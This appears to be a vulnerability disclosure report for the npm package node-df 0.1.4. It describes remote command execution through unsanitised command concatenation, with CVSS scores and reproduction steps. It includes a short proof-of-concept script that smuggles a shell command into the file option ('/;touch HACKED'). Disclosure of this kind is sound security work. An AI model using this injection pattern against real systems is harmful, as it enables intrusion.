9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.004 Low
EPSS
Percentile
69.9%
I would like to report a RCE
issue in the node-df
module.
It allows to execute arbitrary commands remotely inside the victim's PC
module name: node-df
version:0.1.4
npm page: https://www.npmjs.com/package/node-df
> node-df (abbreviation of disk free) is a cross-platform Node.js wrapper around the standard Unix computer program, df.
[N/A] downloads in the last day
[3,023] downloads in the last week
[N/A] downloads in the last month
The issue occurs because a user input
is concatenated inside a command
that will be executed without any check. The issue arises here:
// poc.js
var df = require('node-df');
var options = {
file: '/;touch HACKED',
prefixMultiplier: 'GB',
isDisplayPrefixMultiplier: true,
precision: 2
};
df(options, function (error, response) {
if (error) { throw error; }
console.log(JSON.stringify(response, null, 2));
});
npm i node-df # Install affected module
ls # Make sure there isn't any *HACKED* file
node poc.js # Run the PoC
ls # The *HACKED* file has been created
HACKED
file will be created {F594172}> Don’t concatenate commands
using insecure user's inputs
:)
RCE
on node-df
via insecure command concatenation
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.004 Low
EPSS
Percentile
69.9%